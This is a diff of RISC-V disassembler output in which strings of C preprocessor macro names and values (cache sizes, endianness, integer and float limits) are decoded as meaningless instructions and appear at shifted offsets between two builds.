-     b30:	285f 2978 2929      	0x29292978285f
-     b36:	5f00                	lw	s0,56(a4)
-     b38:	585f4353          	0x585f4353
-     b3c:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-     b40:	525f 4145 544c      	0x544c4145525f
-     b46:	4d49                	li	s10,18
-     b48:	2045                	jal	be8 <__stack_size+0x3e8>
-     b4a:	3939                	jal	768 <__stack_size-0x98>
-     b4c:	5f00                	lw	s0,56(a4)
-     b4e:	4c5f4353          	0x4c5f4353
-     b52:	5645                	li	a2,-15
-     b54:	4c45                	li	s8,17
-     b56:	41435f33          	sra	t5,t1,s4
-     b5a:	5f454843          	fmadd.q	fa6,fa0,fs4,fa1,rmm
-     b5e:	455a4953          	0x455a4953
-     b62:	3120                	fld	fs0,96(a0)
-     b64:	5f003433          	0x5f003433
-     b68:	5f54                	lw	a3,60(a4)
-     b6a:	5450                	lw	a2,44(s0)
-     b6c:	4452                	lw	s0,20(sp)
-     b6e:	4649                	li	a2,18
-     b70:	5f46                	lw	t5,112(sp)
-     b72:	0020                	addi	s0,sp,8
-     b74:	5f5f 444c 4c42      	0x4c42444c5f5f
-     b7a:	445f 4749 5f5f      	0x5f5f4749445f
-     b80:	3320                	fld	fs0,96(a4)
-     b82:	49420033          	0x49420033
-     b86:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
-     b8a:	4944                	lw	s1,20(a0)
-     b8c:	4e41                	li	t3,16
-     b8e:	5f20                	lw	s0,120(a4)
-     b90:	4942                	lw	s2,16(sp)
-     b92:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
-     b96:	4944                	lw	s1,20(a0)
-     b98:	4e41                	li	t3,16
-     b9a:	5f00                	lw	s0,56(a4)
-     b9c:	4350                	lw	a2,4(a4)
-     b9e:	4e5f 5f4f 5254      	0x52545f4f4e5f
-     ba4:	4e55                	li	t3,21
-     ba6:	00372043          	fmadd.s	ft0,fa4,ft3,ft0,rdn
-     baa:	535f 4454 494c      	0x494c4454535f
-     bb0:	5f42                	lw	t5,48(sp)
-     bb2:	5f48                	lw	a0,60(a4)
-     bb4:	0020                	addi	s0,sp,8
-     bb6:	465f 5453 4944      	0x49445453465f
-     bbc:	5f00204f          	fnmadd.q	ft0,ft0,fa6,fa1,rdn
-     bc0:	4c5f4353          	0x4c5f4353
-     bc4:	5645                	li	a2,-15
-     bc6:	4c45                	li	s8,17
-     bc8:	5f32                	lw	t5,44(sp)
-     bca:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-     bce:	5f45                	li	t5,-15
-     bd0:	5341                	li	t1,-16
-     bd2:	20434f53          	0x20434f53
-     bd6:	3331                	jal	8e2 <__stack_size+0xe2>
-     bd8:	0032                	c.slli	zero,0xc
-     bda:	4d44                	lw	s1,28(a0)
-     bdc:	5f41                	li	t5,-16
-     bde:	4556                	lw	a0,84(sp)
-     be0:	5f52                	lw	t5,52(sp)
-     be2:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
-     be6:	7830                	flw	fa2,112(s0)
-     be8:	3030                	fld	fa2,96(s0)
-     bea:	5f00                	lw	s0,56(a4)
-     bec:	425f4353          	0x425f4353
-     bf0:	5241                	li	tp,-16
-     bf2:	4952                	lw	s2,20(sp)
-     bf4:	5245                	li	tp,-15
-     bf6:	36352053          	0x36352053
-     bfa:	5f00                	lw	s0,56(a4)
-     bfc:	4c42                	lw	s8,16(sp)
-     bfe:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
-     c02:	5f45                	li	t5,-15
-     c04:	5f54                	lw	a3,60(a4)
-     c06:	4544                	lw	s1,12(a0)
-     c08:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-     c0c:	4445                	li	s0,17
-     c0e:	0020                	addi	s0,sp,8
-     c10:	5f5f 6e75 6f62      	0x6f626e755f5f
-     c16:	6e75                	lui	t3,0x1d
-     c18:	6564                	flw	fs1,76(a0)
-     c1a:	2064                	fld	fs1,192(s0)
-     c1c:	4300                	lw	s0,0(a4)
-     c1e:	4f4c                	lw	a1,28(a4)
-     c20:	445f4b43          	0x445f4b43
-     c24:	5349                	li	t1,-14
-     c26:	4c41                	li	s8,16
-     c28:	4f4c                	lw	a1,28(a4)
-     c2a:	20444557          	0x20444557
-     c2e:	0030                	addi	a2,sp,8
-     c30:	535f 5f43 4854      	0x48545f43535f
-     c36:	4552                	lw	a0,20(sp)
-     c38:	4441                	li	s0,16
-     c3a:	545f 5248 4145      	0x41455248545f
-     c40:	5344                	lw	s1,36(a4)
-     c42:	4d5f 5841 3420      	0x342058414d5f
-     c48:	0030                	addi	a2,sp,8
-     c4a:	4b454553          	0x4b454553
-     c4e:	535f 5445 3020      	0x30205445535f
-     c54:	5f00                	lw	s0,56(a4)
-     c56:	725f 7369 7663      	0x76637369725f
-     c5c:	635f 6f6d 6564      	0x65646f6d635f
-     c62:	5f6c                	lw	a1,124(a4)
-     c64:	656d                	lui	a0,0x1b
-     c66:	6164                	flw	fs1,68(a0)
-     c68:	796e                	flw	fs2,248(sp)
-     c6a:	3120                	fld	fs0,96(a0)
-     c6c:	4d00                	lw	s0,24(a0)
-     c6e:	4c55                	li	s8,21
-     c70:	4954                	lw	a3,20(a0)
-     c72:	4f5a                	lw	t5,148(sp)
-     c74:	454e                	lw	a0,208(sp)
-     c76:	485f 0020 4342      	0x43420020485f
-     c7c:	445f 4d49 4d5f      	0x4d5f4d49445f
-     c82:	5841                	li	a6,-16
-     c84:	3220                	fld	fs0,96(a2)
-     c86:	3430                	fld	fa2,104(s0)
-     c88:	0038                	addi	a4,sp,8
-     c8a:	424d                	li	tp,19
-     c8c:	435f 5255 4d5f      	0x4d5f5255435f
-     c92:	5841                	li	a6,-16
-     c94:	5f20                	lw	s0,120(a4)
-     c96:	6c5f 636f 6c61      	0x6c61636f6c5f
-     c9c:	5f65                	li	t5,-7
-     c9e:	626d                	lui	tp,0x1b
-     ca0:	635f 7275 6d5f      	0x6d5f7275635f
-     ca6:	7861                	lui	a6,0xffff8
-     ca8:	2928                	fld	fa0,80(a0)
-     caa:	5f00                	lw	s0,56(a4)
-     cac:	445f 4c42 485f      	0x485f4c42445f
-     cb2:	5341                	li	t1,-16
-     cb4:	495f 464e 4e49      	0x4e49464e495f
-     cba:	5449                	li	s0,-14
-     cbc:	5f59                	li	t5,-10
-     cbe:	205f 0031 4d5f      	0x4d5f0031205f
-     cc4:	5f42                	lw	t5,48(sp)
-     cc6:	454c                	lw	a1,12(a0)
-     cc8:	5f4e                	lw	t5,240(sp)
-     cca:	414d                	li	sp,19
-     ccc:	2058                	fld	fa4,128(s0)
-     cce:	0031                	c.nop	12
-     cd0:	5f5f 6f6e 6c5f      	0x6c5f6f6e5f5f
-     cd6:	5f6b636f          	jal	t1,b72cc <__stack_size+0xb6acc>
-     cda:	6e61                	lui	t3,0x18
-     cdc:	6c61                	lui	s8,0x18
-     cde:	7379                	lui	t1,0xffffe
-     ce0:	7369                	lui	t1,0xffffa
-     ce2:	5f20                	lw	s0,120(a4)
-     ce4:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-     cea:	6e61                	lui	t3,0x18
-     cec:	6f6e                	flw	ft10,216(sp)
-     cee:	6174                	flw	fa3,68(a0)
-     cf0:	6574                	flw	fa3,76(a0)
-     cf2:	6e28                	flw	fa0,88(a2)
-     cf4:	68745f6f          	jal	t5,46b7a <__stack_size+0x4637a>
-     cf8:	6572                	flw	fa0,28(sp)
-     cfa:	6461                	lui	s0,0x18
-     cfc:	735f 6661 7465      	0x74656661735f
-     d02:	5f79                	li	t5,-2
-     d04:	6e61                	lui	t3,0x18
-     d06:	6c61                	lui	s8,0x18
-     d08:	7379                	lui	t1,0xffffe
-     d0a:	7369                	lui	t1,0xffffa
-     d0c:	0029                	c.nop	10
-     d0e:	535f 5359 535f      	0x535f5359535f
-     d14:	5359                	li	t1,-10
-     d16:	494c                	lw	a1,20(a0)
+     b18:	4942                	lw	s2,16(sp)
+     b1a:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
+     b1e:	4944                	lw	s1,20(a0)
+     b20:	4e41                	li	t3,16
+     b22:	5f00                	lw	s0,56(a4)
+     b24:	4350                	lw	a2,4(a4)
+     b26:	4e5f 5f4f 5254      	0x52545f4f4e5f
+     b2c:	4e55                	li	t3,21
+     b2e:	00372043          	fmadd.s	ft0,fa4,ft3,ft0,rdn
+     b32:	535f 4454 494c      	0x494c4454535f
+     b38:	5f42                	lw	t5,48(sp)
+     b3a:	5f48                	lw	a0,60(a4)
+     b3c:	0020                	addi	s0,sp,8
+     b3e:	465f 5453 4944      	0x49445453465f
+     b44:	5f00204f          	fnmadd.q	ft0,ft0,fa6,fa1,rdn
+     b48:	4c5f4353          	0x4c5f4353
+     b4c:	5645                	li	a2,-15
+     b4e:	4c45                	li	s8,17
+     b50:	5f32                	lw	t5,44(sp)
+     b52:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+     b56:	5f45                	li	t5,-15
+     b58:	5341                	li	t1,-16
+     b5a:	20434f53          	0x20434f53
+     b5e:	3331                	jal	86a <__stack_size+0x6a>
+     b60:	0032                	c.slli	zero,0xc
+     b62:	4d44                	lw	s1,28(a0)
+     b64:	5f41                	li	t5,-16
+     b66:	4556                	lw	a0,84(sp)
+     b68:	5f52                	lw	t5,52(sp)
+     b6a:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+     b6e:	7830                	flw	fa2,112(s0)
+     b70:	3030                	fld	fa2,96(s0)
+     b72:	5f00                	lw	s0,56(a4)
+     b74:	425f4353          	0x425f4353
+     b78:	5241                	li	tp,-16
+     b7a:	4952                	lw	s2,20(sp)
+     b7c:	5245                	li	tp,-15
+     b7e:	36352053          	0x36352053
+     b82:	5f00                	lw	s0,56(a4)
+     b84:	4c42                	lw	s8,16(sp)
+     b86:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
+     b8a:	5f45                	li	t5,-15
+     b8c:	5f54                	lw	a3,60(a4)
+     b8e:	4544                	lw	s1,12(a0)
+     b90:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+     b94:	4445                	li	s0,17
+     b96:	0020                	addi	s0,sp,8
+     b98:	5f5f 6e75 6f62      	0x6f626e755f5f
+     b9e:	6e75                	lui	t3,0x1d
+     ba0:	6564                	flw	fs1,76(a0)
+     ba2:	2064                	fld	fs1,192(s0)
+     ba4:	5f00                	lw	s0,56(a4)
+     ba6:	495f 544e 4c5f      	0x4c5f544e495f
+     bac:	4145                	li	sp,17
+     bae:	36315453          	0x36315453
+     bb2:	575f 4449 4854      	0x48544449575f
+     bb8:	5f5f 3120 0036      	0x3631205f5f
+     bbe:	535f 5f43 4854      	0x48545f43535f
+     bc4:	4552                	lw	a0,20(sp)
+     bc6:	4441                	li	s0,16
+     bc8:	545f 5248 4145      	0x41455248545f
+     bce:	5344                	lw	s1,36(a4)
+     bd0:	4d5f 5841 3420      	0x342058414d5f
+     bd6:	0030                	addi	a2,sp,8
+     bd8:	4b454553          	0x4b454553
+     bdc:	535f 5445 3020      	0x30205445535f
+     be2:	5f00                	lw	s0,56(a4)
+     be4:	725f 7369 7663      	0x76637369725f
+     bea:	635f 6f6d 6564      	0x65646f6d635f
+     bf0:	5f6c                	lw	a1,124(a4)
+     bf2:	656d                	lui	a0,0x1b
+     bf4:	6164                	flw	fs1,68(a0)
+     bf6:	796e                	flw	fs2,248(sp)
+     bf8:	3120                	fld	fs0,96(a0)
+     bfa:	4d00                	lw	s0,24(a0)
+     bfc:	4c55                	li	s8,21
+     bfe:	4954                	lw	a3,20(a0)
+     c00:	4f5a                	lw	t5,148(sp)
+     c02:	454e                	lw	a0,208(sp)
+     c04:	485f 0020 4342      	0x43420020485f
+     c0a:	445f 4d49 4d5f      	0x4d5f4d49445f
+     c10:	5841                	li	a6,-16
+     c12:	3220                	fld	fs0,96(a2)
+     c14:	3430                	fld	fa2,104(s0)
+     c16:	0038                	addi	a4,sp,8
+     c18:	424d                	li	tp,19
+     c1a:	435f 5255 4d5f      	0x4d5f5255435f
+     c20:	5841                	li	a6,-16
+     c22:	5f20                	lw	s0,120(a4)
+     c24:	6c5f 636f 6c61      	0x6c61636f6c5f
+     c2a:	5f65                	li	t5,-7
+     c2c:	626d                	lui	tp,0x1b
+     c2e:	635f 7275 6d5f      	0x6d5f7275635f
+     c34:	7861                	lui	a6,0xffff8
+     c36:	2928                	fld	fa0,80(a0)
+     c38:	5f00                	lw	s0,56(a4)
+     c3a:	445f 4c42 485f      	0x485f4c42445f
+     c40:	5341                	li	t1,-16
+     c42:	495f 464e 4e49      	0x4e49464e495f
+     c48:	5449                	li	s0,-14
+     c4a:	5f59                	li	t5,-10
+     c4c:	205f 0031 4d5f      	0x4d5f0031205f
+     c52:	5f42                	lw	t5,48(sp)
+     c54:	454c                	lw	a1,12(a0)
+     c56:	5f4e                	lw	t5,240(sp)
+     c58:	414d                	li	sp,19
+     c5a:	2058                	fld	fa4,128(s0)
+     c5c:	0031                	c.nop	12
+     c5e:	575f 4e41 5f54      	0x5f544e41575f
+     c64:	4f49                	li	t5,18
+     c66:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+     c6c:	4f44                	lw	s1,28(a4)
+     c6e:	4255                	li	tp,21
+     c70:	454c                	lw	a1,12(a0)
+     c72:	3120                	fld	fs0,96(a0)
+     c74:	5f00                	lw	s0,56(a4)
+     c76:	6e5f 5f6f 6f6c      	0x6f6c5f6f6e5f
+     c7c:	615f6b63          	bltu	t5,s5,1292 <__stack_size+0xa92>
+     c80:	616e                	flw	ft2,216(sp)
+     c82:	796c                	flw	fa1,116(a0)
+     c84:	20736973          	csrrsi	s2,0x207,6
+     c88:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+     c8e:	615f 6e6e 746f      	0x746f6e6e615f
+     c94:	7461                	lui	s0,0xffff8
+     c96:	2865                	jal	d4e <__stack_size+0x54e>
+     c98:	6f6e                	flw	ft10,216(sp)
+     c9a:	745f 7268 6165      	0x61657268745f
+     ca0:	5f64                	lw	s1,124(a4)
+     ca2:	65666173          	csrrsi	sp,0x656,12
+     ca6:	7974                	flw	fa3,116(a0)
+     ca8:	615f 616e 796c      	0x796c616e615f
+     cae:	29736973          	csrrsi	s2,0x297,6
+     cb2:	5f00                	lw	s0,56(a4)
+     cb4:	5f535953          	0x5f535953
+     cb8:	4c535953          	0x4c535953
+     cbc:	4d49                	li	s10,18
+     cbe:	5449                	li	s0,-14
+     cc0:	5f485f53          	0x5f485f53
+     cc4:	0020                	addi	s0,sp,8
+     cc6:	565f 5f41 494c      	0x494c5f41565f
+     ccc:	445f5453          	0x445f5453
+     cd0:	4645                	li	a2,17
+     cd2:	4e49                	li	t3,18
+     cd4:	4445                	li	s0,17
+     cd6:	0020                	addi	s0,sp,8
+     cd8:	5f5f 4853 5452      	0x545248535f5f
+     cde:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     ce4:	3020                	fld	fs0,96(s0)
+     ce6:	3778                	fld	fa4,232(a4)
+     ce8:	6666                	flw	fa2,88(sp)
+     cea:	0066                	c.slli	zero,0x19
+     cec:	4e49                	li	t3,18
+     cee:	4d54                	lw	a3,28(a0)
+     cf0:	5841                	li	a6,-16
+     cf2:	4d5f 4e49 2820      	0x28204e494d5f
+     cf8:	492d                	li	s2,11
+     cfa:	544e                	lw	s0,240(sp)
+     cfc:	414d                	li	sp,19
+     cfe:	5f58                	lw	a4,60(a4)
+     d00:	414d                	li	sp,19
+     d02:	2058                	fld	fa4,128(s0)
+     d04:	202d                	jal	d2e <__stack_size+0x52e>
+     d06:	2931                	jal	1122 <__stack_size+0x922>
+     d08:	5f00                	lw	s0,56(a4)
+     d0a:	465f 544c 3233      	0x3233544c465f
+     d10:	445f 4e45 524f      	0x524f4e45445f
+     d16:	5f4d                	li	t5,-13
      d18:	494d                	li	s2,19
-     d1a:	5354                	lw	a3,36(a4)
-     d1c:	485f 205f 5f00      	0x5f00205f485f
-     d22:	4156                	lw	sp,84(sp)
-     d24:	4c5f 5349 5f54      	0x5f5453494c5f
-     d2a:	4544                	lw	s1,12(a0)
-     d2c:	4946                	lw	s2,80(sp)
-     d2e:	454e                	lw	a0,208(sp)
-     d30:	2044                	fld	fs1,128(s0)
-     d32:	5f00                	lw	s0,56(a4)
-     d34:	535f 5248 5f54      	0x5f545248535f
-     d3a:	414d                	li	sp,19
-     d3c:	5f58                	lw	a4,60(a4)
-     d3e:	205f 7830 6637      	0x66377830205f
-     d44:	6666                	flw	fa2,88(sp)
-     d46:	5000                	lw	s0,32(s0)
-     d48:	5254                	lw	a3,36(a2)
-     d4a:	4944                	lw	s1,20(a0)
-     d4c:	4646                	lw	a2,80(sp)
-     d4e:	4d5f 5841 5f20      	0x5f2058414d5f
-     d54:	505f 5254 4944      	0x49445254505f
-     d5a:	4646                	lw	a2,80(sp)
-     d5c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     d62:	5f00                	lw	s0,56(a4)
-     d64:	775f 6863 7261      	0x72616863775f
-     d6a:	745f 5f5f 0020      	0x205f5f745f
-     d70:	5f5f 4c46 3354      	0x33544c465f5f
-     d76:	5f32                	lw	t5,44(sp)
-     d78:	4544                	lw	s1,12(a0)
-     d7a:	4f4e                	lw	t5,208(sp)
-     d7c:	4d52                	lw	s10,20(sp)
-     d7e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-     d84:	3120                	fld	fs0,96(a0)
-     d86:	342e                	fld	fs0,232(sp)
-     d88:	3130                	fld	fa2,96(a0)
-     d8a:	3932                	fld	fs2,296(sp)
-     d8c:	3438                	fld	fa4,104(s0)
-     d8e:	3436                	fld	fs0,360(sp)
-     d90:	38343233          	0x38343233
-     d94:	3731                	jal	ca0 <__stack_size+0x4a0>
-     d96:	3730                	fld	fa2,104(a4)
-     d98:	3930                	fld	fa2,112(a0)
-     d9a:	3332                	fld	ft6,296(sp)
-     d9c:	35393237          	lui	tp,0x35393
-     da0:	3338                	fld	fa4,96(a4)
-     da2:	3832                	fld	fa6,296(sp)
-     da4:	3939                	jal	9c2 <__stack_size+0x1c2>
-     da6:	3631                	jal	8b2 <__stack_size+0xb2>
-     da8:	3331                	jal	ab4 <__stack_size+0x2b4>
-     daa:	2d65                	jal	1462 <__stack_size+0xc62>
-     dac:	3534                	fld	fa3,104(a0)
-     dae:	3346                	fld	ft6,112(sp)
-     db0:	0032                	c.slli	zero,0xc
-     db2:	5750                	lw	a2,44(a4)
-     db4:	5f4d                	li	t5,-13
-     db6:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-     dba:	43495453          	0x43495453
-     dbe:	3020594b          	fnmsub.s	fs2,ft0,ft2,ft6,unknown
-     dc2:	3078                	fld	fa4,224(s0)
-     dc4:	3030                	fld	fa2,96(s0)
-     dc6:	3030                	fld	fa2,96(s0)
-     dc8:	3031                	jal	5d4 <__stack_size-0x22c>
-     dca:	0030                	addi	a2,sp,8
-     dcc:	6c637963          	bgeu	t1,t1,149e <__stack_size+0xc9e>
-     dd0:	7365                	lui	t1,0xffff9
-     dd2:	5f00                	lw	s0,56(a4)
-     dd4:	545f4353          	0x545f4353
-     dd8:	4d49                	li	s10,18
-     dda:	5245                	li	tp,-15
-     ddc:	33332053          	0x33332053
-     de0:	5f00                	lw	s0,56(a4)
-     de2:	4552                	lw	a0,20(sp)
-     de4:	4e45                	li	t3,17
-     de6:	5f54                	lw	a3,60(a4)
-     de8:	52534357          	0x52534357
-     dec:	4f54                	lw	a3,28(a4)
-     dee:	424d                	li	tp,19
-     df0:	54535f53          	0x54535f53
-     df4:	5441                	li	s0,-16
-     df6:	2845                	jal	ea6 <__stack_size+0x6a6>
-     df8:	7470                	flw	fa2,108(s0)
-     dfa:	2972                	fld	fs2,280(sp)
-     dfc:	2820                	fld	fs0,80(s0)
-     dfe:	7028                	flw	fa0,96(s0)
-     e00:	7274                	flw	fa3,100(a2)
-     e02:	2d29                	jal	141c <__stack_size+0xc1c>
-     e04:	5f3e                	lw	t5,236(sp)
-     e06:	656e                	flw	fa0,216(sp)
-     e08:	725f2e77          	0x725f2e77
-     e0c:	6565                	lui	a0,0x19
-     e0e:	746e                	flw	fs0,248(sp)
-     e10:	5f2e                	lw	t5,232(sp)
-     e12:	72736377          	0x72736377
-     e16:	6f74                	flw	fa3,92(a4)
-     e18:	626d                	lui	tp,0x1b
-     e1a:	74735f73          	csrrwi	t5,0x747,6
-     e1e:	7461                	lui	s0,0xffff8
-     e20:	2965                	jal	12d8 <__stack_size+0xad8>
-     e22:	5400                	lw	s0,40(s0)
-     e24:	504d                	c.li	zero,-13
-     e26:	4d5f 5841 3220      	0x322058414d5f
-     e2c:	0036                	c.slli	zero,0xd
-     e2e:	495f 5346 434f      	0x434f5346495f
-     e34:	3130204b          	fnmsub.s	ft0,ft0,fs3,ft6,rdn
-     e38:	3034                	fld	fa3,96(s0)
-     e3a:	3030                	fld	fa2,96(s0)
-     e3c:	0030                	addi	a2,sp,8
-     e3e:	5f5f 6166 7473      	0x747361665f5f
-     e44:	6c6c6163          	bltu	s8,t1,1506 <__stack_size+0xd06>
-     e48:	5f20                	lw	s0,120(a4)
-     e4a:	615f 7474 6972      	0x69727474615f
-     e50:	7562                	flw	fa0,56(sp)
-     e52:	6574                	flw	fa3,76(a0)
-     e54:	5f5f 2828 5f5f      	0x5f5f28285f5f
-     e5a:	6166                	flw	ft2,88(sp)
-     e5c:	61637473          	csrrci	s0,0x616,6
-     e60:	6c6c                	flw	fa1,92(s0)
-     e62:	5f5f 2929 5f00      	0x5f0029295f5f
-     e68:	4e5f4353          	0x4e5f4353
-     e6c:	554f5247          	0x554f5247
-     e70:	5350                	lw	a2,36(a4)
-     e72:	4d5f 5841 3320      	0x332058414d5f
-     e78:	7a00                	flw	fs0,48(a2)
-     e7a:	00656e6f          	jal	t3,56e80 <__stack_size+0x56680>
-     e7e:	4d46                	lw	s10,80(sp)
-     e80:	5241                	li	tp,-16
-     e82:	465f204b          	fnmsub.q	ft0,ft10,ft5,fs0,rdn
-     e86:	414d                	li	sp,19
-     e88:	4b52                	lw	s6,20(sp)
-     e8a:	5f00                	lw	s0,56(a4)
-     e8c:	465f 544c 3231      	0x3231544c465f
-     e92:	5f38                	lw	a4,120(a4)
-     e94:	494d                	li	s2,19
-     e96:	5f4e                	lw	t5,240(sp)
-     e98:	205f 2e33 3633      	0x36332e33205f
-     e9e:	3132                	fld	ft2,296(sp)
-     ea0:	3330                	fld	fa2,96(a4)
-     ea2:	3431                	jal	8ae <__stack_size+0xae>
-     ea4:	32313133          	0x32313133
-     ea8:	3930                	fld	fa2,112(a0)
-     eaa:	36303533          	0x36303533
-     eae:	3632                	fld	fa2,296(sp)
-     eb0:	3632                	fld	fa2,296(sp)
-     eb2:	31383737          	lui	a4,0x31383
-     eb6:	31323337          	lui	t1,0x31323
-     eba:	36323537          	lui	a0,0x36323
-     ebe:	6530                	flw	fa2,72(a0)
-     ec0:	342d                	jal	8ea <__stack_size+0xea>
-     ec2:	3339                	jal	bd0 <__stack_size+0x3d0>
-     ec4:	4632                	lw	a2,12(sp)
-     ec6:	3231                	jal	7d2 <__stack_size-0x2e>
-     ec8:	0038                	addi	a4,sp,8
-     eca:	4446                	lw	s0,80(sp)
-     ecc:	495f 5353 5445      	0x54455353495f
-     ed2:	6e28                	flw	fa0,88(a2)
-     ed4:	702c                	flw	fa1,96(s0)
-     ed6:	2029                	jal	ee0 <__stack_size+0x6e0>
-     ed8:	2828                	fld	fa0,80(s0)
-     eda:	2970                	fld	fa2,208(a0)
-     edc:	3e2d                	jal	a16 <__stack_size+0x216>
-     ede:	6466                	flw	fs0,88(sp)
-     ee0:	69625f73          	csrrwi	t5,0x696,4
-     ee4:	7374                	flw	fa3,100(a4)
-     ee6:	296e285b          	0x296e285b
-     eea:	44464e2f          	0x44464e2f
-     eee:	4942                	lw	s2,16(sp)
-     ef0:	5354                	lw	a3,36(a4)
-     ef2:	205d                	jal	f98 <__stack_size+0x798>
-     ef4:	2026                	fld	ft0,72(sp)
-     ef6:	3128                	fld	fa0,96(a0)
-     ef8:	204c                	fld	fa1,128(s0)
-     efa:	3c3c                	fld	fa5,120(s0)
-     efc:	2820                	fld	fs0,80(s0)
-     efe:	6e28                	flw	fa0,88(a2)
-     f00:	2029                	jal	f0a <__stack_size+0x70a>
-     f02:	2025                	jal	f2a <__stack_size+0x72a>
-     f04:	464e                	lw	a2,208(sp)
-     f06:	4244                	lw	s1,4(a2)
-     f08:	5449                	li	s0,-14
-     f0a:	29292953          	0x29292953
-     f0e:	5f00                	lw	s0,56(a4)
-     f10:	4f4e                	lw	t5,208(sp)
-     f12:	4e49                	li	t3,18
-     f14:	494c                	lw	a1,20(a0)
-     f16:	454e                	lw	a0,208(sp)
-     f18:	5f20                	lw	s0,120(a4)
-     f1a:	615f 7474 6972      	0x69727474615f
-     f20:	7562                	flw	fa0,56(sp)
-     f22:	6574                	flw	fa3,76(a0)
-     f24:	5f5f 2820 5f28      	0x5f2828205f5f
-     f2a:	6e5f 696f 6c6e      	0x6c6e696f6e5f
-     f30:	6e69                	lui	t3,0x1a
-     f32:	5f65                	li	t5,-7
-     f34:	295f 0029 5f5f      	0x5f5f0029295f
-     f3a:	4e49                	li	t3,18
-     f3c:	5f54                	lw	a3,60(a4)
-     f3e:	4146                	lw	sp,80(sp)
-     f40:	34365453          	0x34365453
-     f44:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     f4a:	3020                	fld	fs0,96(s0)
-     f4c:	3778                	fld	fa4,232(a4)
-     f4e:	6666                	flw	fa2,88(sp)
-     f50:	6666                	flw	fa2,88(sp)
-     f52:	6666                	flw	fa2,88(sp)
-     f54:	6666                	flw	fa2,88(sp)
-     f56:	6666                	flw	fa2,88(sp)
-     f58:	6666                	flw	fa2,88(sp)
-     f5a:	6666                	flw	fa2,88(sp)
-     f5c:	4c66                	lw	s8,88(sp)
-     f5e:	004c                	addi	a1,sp,4
-     f60:	4e49                	li	t3,18
-     f62:	5054                	lw	a3,36(s0)
-     f64:	5254                	lw	a3,36(a2)
-     f66:	4d5f 4e49 2820      	0x28204e494d5f
-     f6c:	492d                	li	s2,11
-     f6e:	544e                	lw	s0,240(sp)
-     f70:	5450                	lw	a2,44(s0)
-     f72:	5f52                	lw	t5,52(sp)
-     f74:	414d                	li	sp,19
-     f76:	2058                	fld	fa4,128(s0)
-     f78:	202d                	jal	fa2 <__stack_size+0x7a2>
-     f7a:	2931                	jal	1396 <__stack_size+0xb96>
-     f7c:	4600                	lw	s0,8(a2)
-     f7e:	444e                	lw	s0,208(sp)
-     f80:	4c45                	li	s8,17
-     f82:	5941                	li	s2,-16
-     f84:	5f20                	lw	s0,120(a4)
-     f86:	4e46                	lw	t3,80(sp)
-     f88:	4544                	lw	s1,12(a0)
-     f8a:	414c                	lw	a1,4(a0)
-     f8c:	0059                	c.nop	22
-     f8e:	5f5f 4955 544e      	0x544e49555f5f
-     f94:	465f 5341 3154      	0x31545341465f
-     f9a:	5f36                	lw	t5,108(sp)
-     f9c:	5954                	lw	a3,52(a0)
-     f9e:	4550                	lw	a2,12(a0)
-     fa0:	5f5f 7520 736e      	0x736e75205f5f
-     fa6:	6769                	lui	a4,0x1a
-     fa8:	656e                	flw	fa0,216(sp)
-     faa:	2064                	fld	fs1,192(s0)
-     fac:	6e69                	lui	t3,0x1a
-     fae:	0074                	addi	a3,sp,12
-     fb0:	5f5f 4c46 3154      	0x31544c465f5f
-     fb6:	3832                	fld	fa6,296(sp)
-     fb8:	4d5f 4e41 5f54      	0x5f544e414d5f
-     fbe:	4944                	lw	s1,20(a0)
-     fc0:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-     fc4:	3131                	jal	bd0 <__stack_size+0x3d0>
-     fc6:	535f0033          	0x535f0033
-     fca:	49415f43          	fmadd.s	ft10,ft2,fs4,fs1,unknown
-     fce:	52505f4f          	fnmadd.d	ft10,ft0,ft5,fa0,unknown
-     fd2:	4f49                	li	t5,18
-     fd4:	445f 4c45 4154      	0x41544c45445f
-     fda:	4d5f 5841 3320      	0x332058414d5f
-     fe0:	0036                	c.slli	zero,0xd
-     fe2:	5f5f 4955 544e      	0x544e49555f5f
-     fe8:	3436                	fld	fs0,360(sp)
-     fea:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     ff0:	3020                	fld	fs0,96(s0)
-     ff2:	6678                	flw	fa4,76(a2)
-     ff4:	6666                	flw	fa2,88(sp)
-     ff6:	6666                	flw	fa2,88(sp)
-     ff8:	6666                	flw	fa2,88(sp)
+     d1a:	5f4e                	lw	t5,240(sp)
+     d1c:	205f 2e31 3034      	0x30342e31205f
+     d22:	3231                	jal	62e <__stack_size-0x1d2>
+     d24:	3839                	jal	542 <__stack_size-0x2be>
+     d26:	3634                	fld	fa3,104(a2)
+     d28:	3334                	fld	fa3,96(a4)
+     d2a:	3432                	fld	fs0,296(sp)
+     d2c:	3138                	fld	fa4,96(a0)
+     d2e:	30373037          	lui	zero,0x30373
+     d32:	3239                	jal	640 <__stack_size-0x1c0>
+     d34:	39323733          	0x39323733
+     d38:	3835                	jal	574 <__stack_size-0x28c>
+     d3a:	39383233          	0x39383233
+     d3e:	3139                	jal	94c <__stack_size+0x14c>
+     d40:	3136                	fld	ft2,360(sp)
+     d42:	342d6533          	0x342d6533
+     d46:	4635                	li	a2,13
+     d48:	50003233          	0x50003233
+     d4c:	435f4d57          	0x435f4d57
+     d50:	4746                	lw	a4,80(sp)
+     d52:	535f 4954 4b43      	0x4b434954535f
+     d58:	2059                	jal	dde <__stack_size+0x5de>
+     d5a:	7830                	flw	fa2,112(s0)
